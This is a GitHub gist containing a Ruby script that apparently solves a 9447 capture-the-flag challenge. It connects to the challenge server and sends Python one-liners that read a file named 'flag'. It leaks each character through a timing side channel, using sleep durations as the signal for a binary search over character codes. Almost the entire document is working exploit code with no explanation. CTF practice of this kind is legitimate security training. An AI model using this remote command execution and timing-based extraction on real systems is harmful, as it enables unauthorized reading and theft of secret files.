Skip to content

Instantly share code, notes, and snippets.

@thypon
Last active August 29, 2015 14:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thypon/2a450e030e4f29f9d96e to your computer and use it in GitHub Desktop.
Save thypon/2a450e030e4f29f9d96e to your computer and use it in GitHub Desktop.
require 'socket'
def command(cmd)
s = TCPSocket.new 'shmap.9447.plumbing', 9447
data = s.recv(20000)
s.puts cmd
data = s.gets
s.close # close socket when done
data.split[1].to_i
end
def binsearch(index, start, ending)
if start >= ending
return start
else
mid = start + ((ending - start) / 2).to_i
ret = command "python -c \"import time; f=open('flag','r').read(); time.sleep(2) if ord(f[#{index}]) == #{mid} else time.sleep(1) if ord(f[#{index}]) > #{mid} else time.sleep(0);\""
return case ret
when 2 then mid
when 1 then binsearch(index, mid, ending)
when 0 then binsearch(index, start, mid)
end
end
end
ARGV[0].to_i.upto(ARGV[1].to_i) do |i|
int = binsearch(i, 0, 128)
begin
print int.chr
rescue
int = binsearch(i, 0, 128)
begin
print int.chr
rescue
print '@'
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment